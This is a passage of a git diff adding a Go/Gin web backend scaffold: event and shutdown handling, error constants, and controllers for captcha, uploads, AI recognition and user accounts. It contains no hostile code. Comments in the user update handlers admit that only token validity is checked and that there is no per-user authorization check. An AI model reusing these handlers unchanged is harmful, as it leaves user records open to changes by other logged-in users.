FuzzyDelete 按照键的前缀模糊删除容器中注册的内容 +func (c *containers) FuzzyDelete(keyPre string) { + sMap.Range(func(key, value interface{}) bool { + if keyname, ok := key.(string); ok { + if strings.HasPrefix(keyname, keyPre) { + sMap.Delete(keyname) + } + } + return true + }) +} diff --git a/GinSkeleton/app/core/destroy/destroy.go b/GinSkeleton/app/core/destroy/destroy.go new file mode 100644 index 0000000..3f83aab --- /dev/null +++ b/GinSkeleton/app/core/destroy/destroy.go @@ -0,0 +1,25 @@ +package destroy + +import ( + "go.uber.org/zap" + "goskeleton/app/core/event_manage" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "os" + "os/signal" + "syscall" +) + +func init() { + // 用于系统信号的监听 + go func() { + c := make(chan os.Signal) + signal.Notify(c, os.Interrupt, os.Kill, syscall.SIGQUIT, syscall.SIGINT, syscall.SIGTERM) // 监听可能的退出信号 + received := <-c //接收信号管道中的值 + variable.ZapLog.Warn(consts.ProcessKilled, zap.String("信号值", received.String())) + (event_manage.CreateEventManageFactory()).FuzzyCall(variable.EventDestroyPrefix) + close(c) + os.Exit(1) + }() + +} diff --git a/GinSkeleton/app/core/event_manage/event_manage.go b/GinSkeleton/app/core/event_manage/event_manage.go new file mode 100644 index 0000000..8bc1ec1 --- /dev/null +++ b/GinSkeleton/app/core/event_manage/event_manage.go @@ -0,0 +1,73 @@ +package event_manage + +import ( + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" + "sync" +) + +// 定义一个全局事件存储变量,本模块只负责存储 键 => 函数 , 相对容器来说功能稍弱,但是调用更加简单、方便、快捷 +var sMap sync.Map + +// 创建一个事件管理工厂 +func CreateEventManageFactory() *eventManage { + + return &eventManage{} +} + +// 定义一个事件管理结构体 +type eventManage struct { +} + +// 1.注册事件 +func (e *eventManage) Set(key string, keyFunc func(args ...interface{})) bool { + //判断key下是否已有事件 + if _, exists := e.Get(key); exists == false { + sMap.Store(key, keyFunc) + return true + } else { + variable.ZapLog.Info(my_errors.ErrorsFuncEventAlreadyExists + " , 相关键名:" + key) + } + return false +} + +// 2.获取事件 +func (e *eventManage) Get(key string) (interface{}, bool) { + if value, exists := sMap.Load(key); exists { + return value, exists + } + return nil, false +} + +// 3.执行事件 +func (e *eventManage) Call(key string, args ...interface{}) { + if valueInterface, exists := e.Get(key); exists { + if fn, ok := valueInterface.(func(args ...interface{})); ok { + fn(args...) + } else { + variable.ZapLog.Error(my_errors.ErrorsFuncEventNotCall + ", 键名:" + key + ", 相关函数无法调用") + } + + } else { + variable.ZapLog.Error(my_errors.ErrorsFuncEventNotRegister + ", 键名:" + key) + } +} + +// 4.删除事件 +func (e *eventManage) Delete(key string) { + sMap.Delete(key) +} + +// 5.根据键的前缀,模糊调用. 使用请谨慎. +func (e *eventManage) FuzzyCall(keyPre string) { + + sMap.Range(func(key, value interface{}) bool { + if keyName, ok := key.(string); ok { + if strings.HasPrefix(keyName, keyPre) { + e.Call(keyName) + } + } + return true + }) +} diff --git a/GinSkeleton/app/global/consts/consts.go b/GinSkeleton/app/global/consts/consts.go new file mode 100644 index 0000000..c8e36c8 --- /dev/null +++ b/GinSkeleton/app/global/consts/consts.go @@ -0,0 +1,92 @@ +package consts + +// 这里定义的常量,一般是具有错误代码+错误说明组成,一般用于接口返回 +const ( + // 进程被结束 + ProcessKilled string = "收到信号,进程被结束" + // 表单验证器前缀 + ValidatorPrefix string = "Form_Validator_" + ValidatorParamsCheckFailCode int = -400300 + ValidatorParamsCheckFailMsg string = "参数校验失败" + + //服务器代码发生错误 + ServerOccurredErrorCode int = -500100 + ServerOccurredErrorMsg string = "服务器内部发生代码执行错误, " + GinSetTrustProxyError string = "Gin 设置信任代理服务器出错" + + // token相关 + JwtTokenOK int = 200100 //token有效 + JwtTokenInvalid int = -400100 //无效的token + JwtTokenExpired int = -400101 //过期的token + JwtTokenFormatErrCode int = -400102 //提交的 token 格式错误 + JwtTokenFormatErrMsg string = "提交的 token 格式错误" //提交的 token 格式错误 + JwtTokenMustValid string = "token为必填项,请在请求header部分提交!" //提交的 token 格式错误 + + //SnowFlake 雪花算法 + StartTimeStamp = int64(1483228800000) //开始时间截 (2017-01-01) + MachineIdBits = uint(10) //机器id所占的位数 + SequenceBits = uint(12) //序列所占的位数 + //MachineIdMax = int64(-1 ^ (-1 << MachineIdBits)) //支持的最大机器id数量 + SequenceMask = int64(-1 ^ (-1 << SequenceBits)) // + MachineIdShift = SequenceBits //机器id左移位数 + TimestampShift = SequenceBits + MachineIdBits //时间戳左移位数 + + // CURD 常用业务状态码 + CurdStatusOkCode int = 200 + CurdStatusOkMsg string = "Success" + CurdCreatFailCode int = -400200 + CurdCreatFailMsg string = "新增失败" + CurdUpdateFailCode int = -400201 + CurdUpdateFailMsg string = "更新失败" + CurdUpdatePassFailCode int = -400207 + CurdUpdatePassFailMsg string = "更新密码失败" + CurdDeleteFailCode int = -400202 + CurdDeleteFailMsg string = "删除失败" + CurdSelectFailCode int = -400203 + CurdSelectFailMsg string = "查询无数据" + CurdRegisterFailCode int = -400204 + CurdRegisterFailMsg string = "注册失败" + CurdLoginFailCode int = -400205 + CurdLoginFailMsg string = "登录失败" + CurdRefreshTokenFailCode int = -400206 + CurdRefreshTokenFailMsg string = "刷新Token失败" + CurdLogoutFailCode int = -400208 + CurdLogoutFailMsg string = "登出失败" + CurdPublicKeyFailCode int = -400209 + CurdPublicKeyFailMsg string = "密钥获取失败" + //文件上传 + FilesUploadFailCode int = -400250 + FilesUploadFailMsg string = "文件上传失败, 获取上传文件发生错误!" + FilesUploadMoreThanMaxSizeCode int = -400251 + FilesUploadMoreThanMaxSizeMsg string = "长传文件超过系统设定的最大值,系统允许的最大值:" + FilesUploadMimeTypeFailCode int = -400252 + FilesUploadMimeTypeFailMsg string = "文件mime类型不允许" + FilesUploadIsEmpty string = "不允许上传空文件" + + //websocket + WsServerNotStartCode int = -400300 + WsServerNotStartMsg string = "websocket 服务没有开启,请在配置文件开启,相关路径:config/config.yml" + WsOpenFailCode int = -400301 + WsOpenFailMsg string = "websocket open阶段初始化基本参数失败" + + //验证码 + CaptchaGetParamsInvalidMsg string = "获取验证码:提交的验证码参数无效,请检查验证码ID以及文件名后缀是否完整" + CaptchaGetParamsInvalidCode int = -400350 + CaptchaCheckParamsInvalidMsg string = "校验验证码:提交的参数无效,请检查 【验证码ID、验证码值】 提交时的键名是否与配置项一致" + CaptchaCheckParamsInvalidCode int = -400351 + CaptchaCheckOkMsg string = "验证码校验通过" + CaptchaCheckFailCode int = -400355 + CaptchaCheckFailMsg string = "验证码校验失败" + + // 模型功能按相关 + PicRecognitionFailMsg string = "图片文字识别失败" + PicRecognitionFailCode int = -400450 + VocRecognitionFailMsg string = "语音识别失败" + VocRecognitionFailCode int = -400451 + DocRefineFailMsg string = "文档优化失败" + DocRefineFailCode int = -400452 + StyleGenerateFailMsg string = "样式生成失败" + StyleGenerateFailCode int = -400453 + LayoutGenerateFailMsg string = "排版生成失败" + LayoutGenerateFailCode int = -400454 +) diff --git a/GinSkeleton/app/global/my_errors/my_errors.go b/GinSkeleton/app/global/my_errors/my_errors.go new file mode 100644 index 0000000..daa678d --- /dev/null +++ b/GinSkeleton/app/global/my_errors/my_errors.go @@ -0,0 +1,76 @@ +package my_errors + +const ( + //系统部分 + ErrorsContainerKeyAlreadyExists string = "该键已经注册在容器中了" + ErrorsPublicNotExists string = "public 目录不存在" + ErrorsConfigYamlNotExists string = "config.yml 配置文件不存在" + ErrorsConfigGormNotExists string = "gorm_v2.yml 配置文件不存在" + ErrorsStorageLogsNotExists string = "storage/logs 目录不存在" + ErrorsConfigInitFail string = "初始化配置文件发生错误" + ErrorsSoftLinkCreateFail string = "自动创建软连接失败,请以管理员身份运行客户端(开发环境为goland等,生产环境检查命令执行者权限), " + + "最后一个可能:如果您是360用户,请退出360相关软件,才能保证go语言创建软连接函数: os.Symlink() 正常运行" + ErrorsSoftLinkDeleteFail string = "删除软软连接失败" + + ErrorsFuncEventAlreadyExists string = "注册函数类事件失败,键名已经被注册" + ErrorsFuncEventNotRegister string = "没有找到键名对应的函数" + ErrorsFuncEventNotCall string = "注册的函数无法正确执行" + ErrorsBasePath string = "初始化项目根目录失败" + ErrorsTokenBaseInfo string = "token最基本的格式错误,请提供一个有效的token!" + ErrorsNoAuthorization string = "token鉴权未通过,请通过token授权接口重新获取token," + ErrorsRefreshTokenFail string = "token不符合刷新条件,请通过登陆接口重新获取token!" + ErrorsParseTokenFail string = "解析token失败" + ErrorsGormInitFail string = "Gorm 数据库驱动、连接初始化失败" + ErrorsCasbinNoAuthorization string = "Casbin 鉴权未通过,请在后台检查 casbin 设置参数" + ErrorsGormNotInitGlobalPointer string = "%s 数据库全局变量指针没有初始化,请在配置文件 config/gorm_v2.yml 设置 Gormv2.%s.IsInitGlobalGormMysql = 1, 并且保证数据库配置正确 \n" + // 数据库部分 + ErrorsDbDriverNotExists string = "数据库驱动类型不存在,目前支持的数据库类型:mysql、sqlserver、postgresql,您提交数据库类型:" + ErrorsDialectorDbInitFail string = "gorm dialector 初始化失败,dbType:" + ErrorsGormDBCreateParamsNotPtr string = "gorm Create 函数的参数必须是一个指针" + ErrorsGormDBUpdateParamsNotPtr string = "gorm 的 Update、Save 函数的参数必须是一个指针(GinSkeleton ≥ v1.5.29 版本新增验证,为了完美支持 gorm 的所有回调函数,请在参数前面添加 & )" + //redis部分 + ErrorsRedisInitConnFail string = "初始化redis连接池失败" + ErrorsRedisAuthFail string = "Redis Auth 鉴权失败,密码错误" + ErrorsRedisGetConnFail string = "Redis 从连接池获取一个连接失败,超过最大重试次数" + // 表单参数验证器未通过时的错误 + ErrorsValidatorNotExists string = "不存在的验证器" + ErrorsValidatorTransInitFail string = "validator的翻译器初始化错误" + ErrorNotAllParamsIsBlank string = "该接口不允许所有参数都为空,请按照接口要求提交必填参数" + ErrorsValidatorBindParamsFail string = "验证器绑定参数失败" + + //token部分 + ErrorsTokenInvalid string = "无效的token" + ErrorsTokenNotActiveYet string = "token 尚未激活" + ErrorsTokenMalFormed string = "token 格式不正确" + + //snowflake + ErrorsSnowflakeGetIdFail string = "获取snowflake唯一ID过程发生错误" + // websocket + ErrorsWebsocketOnOpenFail string = "websocket onopen 发生阶段错误" + ErrorsWebsocketUpgradeFail string = "websocket Upgrade 协议升级, 发生错误" + ErrorsWebsocketReadMessageFail string = "websocket ReadPump(实时读取消息)协程出错" + ErrorsWebsocketBeatHeartFail string = "websocket BeatHeart心跳协程出错" + ErrorsWebsocketBeatHeartsMoreThanMaxTimes string = "websocket BeatHeart 失败次数超过最大值" + ErrorsWebsocketClientOfflineTimeout string = "websocket 客户端响应ping消息超过服务端允许的最长时间(秒):" + ErrorsWebsocketSetWriteDeadlineFail string = "websocket 设置消息写入截止时间出错" + ErrorsWebsocketWriteMgsFail string = "websocket Write Msg(send msg) 失败" + ErrorsWebsocketStateInvalid string = "websocket state 状态已经不可用(掉线、卡死等愿意,造成双方无法进行数据交互)" + // rabbitMq + ErrorsRabbitMqReconnectFail string = "RabbitMq消费者端掉线后重连失败,超过尝试最大次数" + + //文件上传 + ErrorsFilesUploadOpenFail string = "打开文件失败,详情:" + ErrorsFilesUploadReadFail string = "读取文件32字节失败,详情:" + + // casbin 初始化可能的错误 + ErrorCasbinCanNotUseDbPtr string = "casbin 的初始化基于gorm 初始化后的数据库连接指针,程序检测到 gorm 连接指针无效,请检查数据库配置!" + ErrorCasbinCreateAdaptFail string = "casbin NewAdapterByDBUseTableName 发生错误:" + ErrorCasbinCreateEnforcerFail string = "casbin NewEnforcer 发生错误:" + ErrorCasbinNewModelFromStringFail string = "NewModelFromString 调用时出错:" + + // baiduCE 访问出现的错误 + ErrorBaiduCEGetTokenFail string = "访问百度智能云时,获得access_token 出现问题:" + ErrorBaiduCEUseOCRFail string = "使用百度智能云OCR接口失败:" + ErrorBaiduCEPostFail string = "使用百度智能云接口失败(POST通用):" + ErrorBaiduCEUseVOPFail string = "使用百度智能云VOP接口失败:" +) diff --git a/GinSkeleton/app/global/variable/variable.go b/GinSkeleton/app/global/variable/variable.go new file mode 100644 index 0000000..149037c --- /dev/null +++ b/GinSkeleton/app/global/variable/variable.go @@ -0,0 +1,62 @@ +package variable + +import ( + "github.com/casbin/casbin/v2" + "go.uber.org/zap" + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/utils/snow_flake/snowflake_interf" + "goskeleton/app/utils/yml_config/ymlconfig_interf" + "log" + "os" + "strings" +) + +// ginskeleton 封装的全局变量全部支持并发安全,请放心使用即可 +// 开发者自行封装的全局变量,请做好并发安全检查与确认 + +var ( + BasePath string // 定义项目的根目录 + EventDestroyPrefix = "Destroy_" // 程序退出时需要销毁的事件前缀 + ConfigKeyPrefix = "Config_" // 配置文件键值缓存时,键的前缀 + DateFormat = "2006-01-02 15:04:05" // 设置全局日期时间格式 + + // 全局日志指针 + ZapLog *zap.Logger + // 全局配置文件 + ConfigYml ymlconfig_interf.YmlConfigInterf // 全局配置文件指针 + ConfigGormv2Yml ymlconfig_interf.YmlConfigInterf // 全局配置文件指针 + + //gorm 数据库客户端,如果您操作数据库使用的是gorm,请取消以下注释,在 bootstrap>init 文件,进行初始化即可使用 + GormDbMysql *gorm.DB // 全局gorm的客户端连接 + GormDbSqlserver *gorm.DB // 全局gorm的客户端连接 + GormDbPostgreSql *gorm.DB // 全局gorm的客户端连接 + + //雪花算法全局变量 + SnowFlake snowflake_interf.InterfaceSnowFlake + + //websocket + WebsocketHub interface{} + WebsocketHandshakeSuccess = `{"code":200,"msg":"ws连接成功","data":""}` + WebsocketServerPingMsg = "Server->Ping->Client" + + //casbin 全局操作指针 + Enforcer *casbin.SyncedEnforcer + + // 用户自行定义其他全局变量 ↓ + +) + +func init() { + // 1.初始化程序根目录 + if curPath, err := os.Getwd(); err == nil { + // 路径进行处理,兼容单元测试程序程序启动时的奇怪路径 + if len(os.Args) > 1 && strings.HasPrefix(os.Args[1], "-test") { + BasePath = strings.Replace(strings.Replace(curPath, `\test`, "", 1), `/test`, "", 1) + } else { + BasePath = curPath + } + } else { + log.Fatal(my_errors.ErrorsBasePath) + } +} diff --git a/GinSkeleton/app/http/controller/api/home_controller.go b/GinSkeleton/app/http/controller/api/home_controller.go new file mode 100644 index 0000000..2be776a --- /dev/null +++ b/GinSkeleton/app/http/controller/api/home_controller.go @@ -0,0 +1,33 @@ +package api + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/utils/response" +) + +type Home struct { +} + +// 1.门户类首页新闻 +func (u *Home) News(context *gin.Context) { + + // 由于本项目骨架已经将表单验证器的字段(成员)绑定在上下文,因此可以按照 GetString()、GetInt64()、GetFloat64()等快捷获取需要的数据类型 + // 当然也可以通过gin框架的上下文原原始方法获取,例如: context.PostForm("name") 获取,这样获取的数据格式为文本,需要自己继续转换 + newsType := context.GetString(consts.ValidatorPrefix + "newsType") + page := context.GetFloat64(consts.ValidatorPrefix + "page") + limit := context.GetFloat64(consts.ValidatorPrefix + "limit") + userIp := context.ClientIP() + ref := context.GetHeader("Referer") + + // 这里随便模拟一条数据返回 + response.Success(context, "ok", gin.H{ + "newsType": newsType, + "page": page, + "limit": limit, + "userIp": userIp, + "title": "门户首页公司新闻标题001", + "content": "门户新闻内容001", + "referer": ref, + }) +} diff --git a/GinSkeleton/app/http/controller/captcha/captcha_controller.go b/GinSkeleton/app/http/controller/captcha/captcha_controller.go new file mode 100644 index 0000000..e81a35d --- /dev/null +++ b/GinSkeleton/app/http/controller/captcha/captcha_controller.go @@ -0,0 +1,83 @@ +package captcha + +import ( + "bytes" + "github.com/dchest/captcha" + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/utils/response" + "net/http" + "path" + "time" +) + +type Captcha struct{} + +// 生成验证码ID +func (c *Captcha) GenerateId(context *gin.Context) { + // 设置验证码的数字长度(个数) + var length = variable.ConfigYml.GetInt("Captcha.length") + var captchaId, imgUrl, refresh, verify string + + captchaId = captcha.NewLen(length) + imgUrl = "/captcha/" + captchaId + ".png" + refresh = imgUrl + "?reload=1" + verify = "/captcha/" + captchaId + "/这里替换为正确的验证码进行验证" + + response.Success(context, "验证码信息", gin.H{ + "id": captchaId, + "img_url": imgUrl, + "refresh": refresh, + "verify": verify, + }) + +} + +// 获取验证码图像 +func (c *Captcha) GetImg(context *gin.Context) { + captchaIdKey := variable.ConfigYml.GetString("Captcha.captchaId") + captchaId := context.Param(captchaIdKey) + _, file := path.Split(context.Request.URL.Path) + ext := path.Ext(file) + id := file[:len(file)-len(ext)] + if ext == "" || captchaId == "" { + response.Fail(context, consts.CaptchaGetParamsInvalidCode, consts.CaptchaGetParamsInvalidMsg, "") + return + } + + if context.Query("reload") != "" { + captcha.Reload(id) + } + + context.Header("Cache-Control", "no-cache, no-store, must-revalidate") + context.Header("Pragma", "no-cache") + context.Header("Expires", "0") + + var vBytes bytes.Buffer + if ext == ".png" { + context.Header("Content-Type", "image/png") + // 设置实际业务需要的验证码图片尺寸(宽 X 高),captcha.StdWidth, captcha.StdHeight 为默认值,请自行修改为具体数字即可 + _ = captcha.WriteImage(&vBytes, id, captcha.StdWidth, captcha.StdHeight) + http.ServeContent(context.Writer, context.Request, id+ext, time.Time{}, bytes.NewReader(vBytes.Bytes())) + } +} + +// 校验验证码 +func (c *Captcha) CheckCode(context *gin.Context) { + captchaIdKey := variable.ConfigYml.GetString("Captcha.captchaId") + captchaValueKey := variable.ConfigYml.GetString("Captcha.captchaValue") + + captchaId := context.Param(captchaIdKey) + value := context.Param(captchaValueKey) + + if captchaId == "" || value == "" { + response.Fail(context, consts.CaptchaCheckParamsInvalidCode, consts.CaptchaCheckParamsInvalidMsg, "") + return + } + if captcha.VerifyString(captchaId, value) { + response.Success(context, consts.CaptchaCheckOkMsg, "") + } else { + response.Fail(context, consts.CaptchaCheckFailCode, consts.CaptchaCheckFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/web/ai_layout_controller.go b/GinSkeleton/app/http/controller/web/ai_layout_controller.go new file mode 100644 index 0000000..ab3baa1 --- /dev/null +++ b/GinSkeleton/app/http/controller/web/ai_layout_controller.go @@ -0,0 +1,45 @@ +package web + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/service/ai_model_cli" + "goskeleton/app/utils/response" +) + +type StyleGenerate struct { +} +type LayoutGenerate struct { +} + +// ai生成样式 +func (s *StyleGenerate) StyleGenerate(c *gin.Context) { + // 非流式传输 + // if res, err := ai_model_cli.RequestStyle(c); err==nil { + // response.Success(c, consts.CurdStatusOkMsg, res.(string)) + // } else { + // response.Fail(c, consts.StyleGenerateFailCode, consts.StyleGenerateFailMsg, err) + // } + + // 设置 HTTP 头部为 SSE + c.Writer.Header().Set("Content-Type", "text/event-stream") + c.Writer.Header().Set("Cache-Control", "no-cache") + c.Writer.Header().Set("Connection", "keep-alive") + + if err := ai_model_cli.RequestStyleStream(c); err != nil { + response.Fail(c, consts.StyleGenerateFailCode, consts.StyleGenerateFailMsg, err) + } + +} + +// ai排版 +func (l *LayoutGenerate) LayoutGenerate(c *gin.Context) { + // 流式传输 + // 设置 HTTP 头部为 SSE + c.Writer.Header().Set("Content-Type", "text/event-stream") + c.Writer.Header().Set("Cache-Control", "no-cache") + c.Writer.Header().Set("Connection", "keep-alive") + if err := ai_model_cli.RequestLayout(c); err != nil { + response.Fail(c, consts.LayoutGenerateFailCode, consts.LayoutGenerateFailMsg, err) + } +} diff --git a/GinSkeleton/app/http/controller/web/ai_recognition_controller.go b/GinSkeleton/app/http/controller/web/ai_recognition_controller.go new file mode 100644 index 0000000..ea46e6a --- /dev/null +++ b/GinSkeleton/app/http/controller/web/ai_recognition_controller.go @@ -0,0 +1,32 @@ +package web + +import ( + "goskeleton/app/global/consts" + "goskeleton/app/service/ai_model_cli" + "goskeleton/app/utils/response" + + "github.com/gin-gonic/gin" +) + +type AiRecognition struct { +} + +// Ai 模型识别模块,与ai相关的识别功能,包括:图片文字识别、语音识别 +// +// 图片文字识别 +func (u *AiRecognition) PicRecognition(context *gin.Context) { + if r, recogWords := ai_model_cli.RequestOCR(context); r { + response.Success(context, consts.CurdStatusOkMsg, recogWords) + } else { + response.Fail(context, consts.PicRecognitionFailCode, consts.PicRecognitionFailMsg, "") + } +} + +// 语音文字识别 +func (u *AiRecognition) VocRecognition(context *gin.Context) { + if r, recogWords := ai_model_cli.RequestVOP(context); r { + response.Success(context, consts.CurdStatusOkMsg, recogWords) + } else { + response.Fail(context, consts.VocRecognitionFailCode, consts.VocRecognitionFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/web/doc_refine_controller.go b/GinSkeleton/app/http/controller/web/doc_refine_controller.go new file mode 100644 index 0000000..738d69b --- /dev/null +++ b/GinSkeleton/app/http/controller/web/doc_refine_controller.go @@ -0,0 +1,22 @@ +package web + +import ( + "goskeleton/app/global/consts" + "goskeleton/app/service/ai_model_cli" + "goskeleton/app/utils/response" + + "github.com/gin-gonic/gin" +) + +type DocRefine struct { +} + +// Ai 模型进行文档优化 + +func (u *DocRefine) DocRefine(context *gin.Context) { + if r, recogWords := ai_model_cli.RequestQianFan(context); r { + response.Success(context, consts.CurdStatusOkMsg, recogWords) + } else { + response.Fail(context, consts.DocRefineFailCode, consts.DocRefineFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/web/upload_controller.go b/GinSkeleton/app/http/controller/web/upload_controller.go new file mode 100644 index 0000000..a617562 --- /dev/null +++ b/GinSkeleton/app/http/controller/web/upload_controller.go @@ -0,0 +1,23 @@ +package web + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/service/upload_file" + "goskeleton/app/utils/response" +) + +type Upload struct { +} + +// 文件上传是一个独立模块,给任何业务返回文件上传后的存储路径即可。 +// 开始上传 +func (u *Upload) StartUpload(context *gin.Context) { + savePath := variable.BasePath + variable.ConfigYml.GetString("FileUploadSetting.UploadFileSavePath") + if r, finnalSavePath := upload_file.Upload(context, savePath); r == true { + response.Success(context, consts.CurdStatusOkMsg, finnalSavePath) + } else { + response.Fail(context, consts.FilesUploadFailCode, consts.FilesUploadFailMsg, "") + } +} diff --git a/GinSkeleton/app/http/controller/web/users_controller.go b/GinSkeleton/app/http/controller/web/users_controller.go new file mode 100644 index 0000000..1abbee7 --- /dev/null +++ b/GinSkeleton/app/http/controller/web/users_controller.go @@ -0,0 +1,248 @@ +package web + +import ( + // "fmt" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/model" + "goskeleton/app/service/users/curd" + userstoken "goskeleton/app/service/users/token" + "goskeleton/app/utils/response" + rsa "goskeleton/app/utils/rsa" + "time" + "net/http" + + "github.com/gin-gonic/gin" +) + +type Users struct { +} + +// 1.用户注册 +func (u *Users) Register(context *gin.Context) { + // 由于本项目骨架已经将表单验证器的字段(成员)绑定在上下文,因此可以按照 GetString()、context.GetBool()、GetFloat64()等快捷获取需要的数据类型,注意:相关键名规则: 前缀+验证器结构体中的 json 标签 + // 注意:在 ginskeleton 中获取表单参数验证器中的数字键(字段),请统一使用 GetFloat64(),其它获取数字键(字段)的函数无效,例如:GetInt()、GetInt64()等 + // 当然也可以通过gin框架的上下文原始方法获取,例如: context.PostForm("user_name") 获取,这样获取的数据格式为文本,需要自己继续转换 + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + // userIp := context.ClientIP() + // if curd.CreateUserCurdFactory().Register(userName, pass, userIp) { + if curd.CreateUserCurdFactory().Register(userName, pass) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdRegisterFailCode, consts.CurdRegisterFailMsg, "") + } +} + +// 2.用户登录 +func (u *Users) Login(c *gin.Context) { + userName := c.GetString(consts.ValidatorPrefix + "user_name") + pass := c.GetString(consts.ValidatorPrefix + "pass") + // 密码解密 + pass = string(u.DecryptPassword(userName,pass)) + + // phone := context.GetString(consts.ValidatorPrefix + "phone") + userModelFact := model.CreateUserFactory("") + userModel := userModelFact.Login(userName, pass) + + if userModel != nil { + userTokenFactory := userstoken.CreateUserFactory() + if userToken, err := userTokenFactory.GenerateToken( userModel.Id,userName, variable.ConfigYml.GetInt64("Token.JwtTokenCreatedExpireAt")); err == nil { + if userTokenFactory.RecordLoginToken(userModel.Id,userToken) { // 记录用户登录记录,不必要,但会将token存入Redis,懒得改了 + data := gin.H{ + "userId": userModel.Id, + // "user_name": userName, + // "realName": userModel.RealName, + // "phone": phone, + "token": userToken, + "updated_at": time.Now().Format(variable.DateFormat), + } + response.Success(c, consts.CurdStatusOkMsg, data) + // go userModel.UpdateUserloginInfo( userModel.Id) + return + } + } + } + response.Fail(c, consts.CurdLoginFailCode, consts.CurdLoginFailMsg, "") +} + +// 刷新用户token +func (u *Users) RefreshToken(context *gin.Context) { + oldToken := context.GetString(consts.ValidatorPrefix + "token") + if newToken, ok := userstoken.CreateUserFactory().RefreshToken(oldToken); ok { + res := gin.H{ + "token": newToken, + } + response.Success(context, consts.CurdStatusOkMsg, res) + } else { + response.Fail(context, consts.CurdRefreshTokenFailCode, consts.CurdRefreshTokenFailMsg, "") + } +} + +// 后面是 curd 部分,自带版本中为了降低初学者学习难度,使用了最简单的方式操作 增、删、改、查 +// 在开发企业实际项目中,建议使用我们提供的一整套 curd 快速操作模式 +// 参考地址:https://gitee.com/daitougege/GinSkeleton/blob/master/docs/concise.md +// 您也可以参考 Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ 中, app/model/ 提供的示例语法 + +//3.用户查询(show) +func (u *Users) Info(c *gin.Context) { + userName := c.GetString(consts.ValidatorPrefix + "user_name") + // page := context.GetFloat64(consts.ValidatorPrefix + "page") + // limit := context.GetFloat64(consts.ValidatorPrefix + "limit") + // limitStart := (page - 1) * limit + res := model.CreateUserFactory("").Info(userName) + if res.UserName != ""{ + response.Success(c, consts.CurdStatusOkMsg, gin.H{"id":res.Id,"user_name":res.UserName}) + } else { + response.Fail(c, consts.CurdSelectFailCode, consts.CurdSelectFailMsg, "") + } +} + +//4.用户新增(store) +// func (u *Users) Store(context *gin.Context) { +// userName := context.GetString(consts.ValidatorPrefix + "user_name") +// pass := context.GetString(consts.ValidatorPrefix + "pass") +// realName := context.GetString(consts.ValidatorPrefix + "real_name") +// phone := context.GetString(consts.ValidatorPrefix + "phone") +// remark := context.GetString(consts.ValidatorPrefix + "remark") + +// if curd.CreateUserCurdFactory().Store(userName, pass, realName, phone, remark) { +// response.Success(context, consts.CurdStatusOkMsg, "") +// } else { +// response.Fail(context, consts.CurdCreatFailCode, consts.CurdCreatFailMsg, "") +// } +// } + +//5.用户更新(update) +func (u *Users) NameUpdate(c *gin.Context) { + //表单参数验证中的int、int16、int32 、int64、float32、float64等数字键(字段),请统一使用 GetFloat64() 获取,其他函数无效 + userId := c.GetFloat64(consts.ValidatorPrefix + "id") + userName := c.GetString(consts.ValidatorPrefix + "user_name") + // pass := context.GetString(consts.ValidatorPrefix + "pass") + // realName := context.GetString(consts.ValidatorPrefix + "real_name") + // phone := context.GetString(consts.ValidatorPrefix + "phone") + // remark := context.GetString(consts.ValidatorPrefix + "remark") + // userIp := context.ClientIP() + + // 检查正在修改的用户名是否被其他人使用 + if model.CreateUserFactory("").UpdateDataCheckUserNameIsUsed(int(userId), userName) > 0 { + response.Fail(c, consts.CurdUpdateFailCode, consts.CurdUpdateFailMsg+", "+userName+" 已经被其他人使用", "") + return + } + + //注意:这里没有实现更加精细的权限控制逻辑,例如:超级管理管理员可以更新全部用户数据,普通用户只能修改自己的数据。目前只是验证了token有效、合法之后就可以进行后续操作 + // 实际使用请根据真是业务实现权限控制逻辑、再进行数据库操作 + // if len(pass)>0{ + // if !curd.CreateUserCurdFactory().UpdatePassword(int(userId),pass) { + // response.Fail(context, consts.CurdUpdatePassFailCode, consts.CurdUpdatePassFailMsg, "") + // } + // } + if curd.CreateUserCurdFactory().NameUpdate(int(userId), userName) { + response.Success(c, consts.CurdStatusOkMsg, "") + } else { + response.Fail(c, consts.CurdUpdateFailCode, consts.CurdUpdateFailMsg, "") + } +} + +func (u *Users) PasswordUpdate(c *gin.Context) { + //表单参数验证中的int、int16、int32 、int64、float32、float64等数字键(字段),请统一使用 GetFloat64() 获取,其他函数无效 + userId := c.GetFloat64(consts.ValidatorPrefix + "id") + userName :=c.GetString(consts.ValidatorPrefix + "user_name") + // userName := context.GetString(consts.ValidatorPrefix + "user_name") + oldpass := c.GetString(consts.ValidatorPrefix + "oldpass") + newpass := c.GetString(consts.ValidatorPrefix + "newpass") + // 密码解密 + oldpass = string(u.DecryptPassword(userName, oldpass)) + newpass = string(u.DecryptPassword(userName, newpass)) + + //注意:这里没有实现更加精细的权限控制逻辑,例如:超级管理管理员可以更新全部用户数据,普通用户只能修改自己的数据。目前只是验证了token有效、合法之后就可以进行后续操作 + // 实际使用请根据真是业务实现权限控制逻辑、再进行数据库操作 + userModelFact := model.CreateUserFactory("") + userModel := userModelFact.UpdatePassword(int(userId),userName, oldpass,newpass) + + if userModel != nil { + response.Success(c, consts.CurdStatusOkMsg, "") + // go userModel.UpdateUserloginInfo( userModel.Id) + return + } + + response.Fail(c, consts.CurdUpdateFailCode, consts.CurdUpdateFailMsg, "") + + +} + +//6.删除记录 +func (u *Users) Destroy(context *gin.Context) { + //表单参数验证中的int、int16、int32 、int64、float32、float64等数字键(字段),请统一使用 GetFloat64() 获取,其他函数无效 + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + pass :=context.GetString(consts.ValidatorPrefix + "pass") + 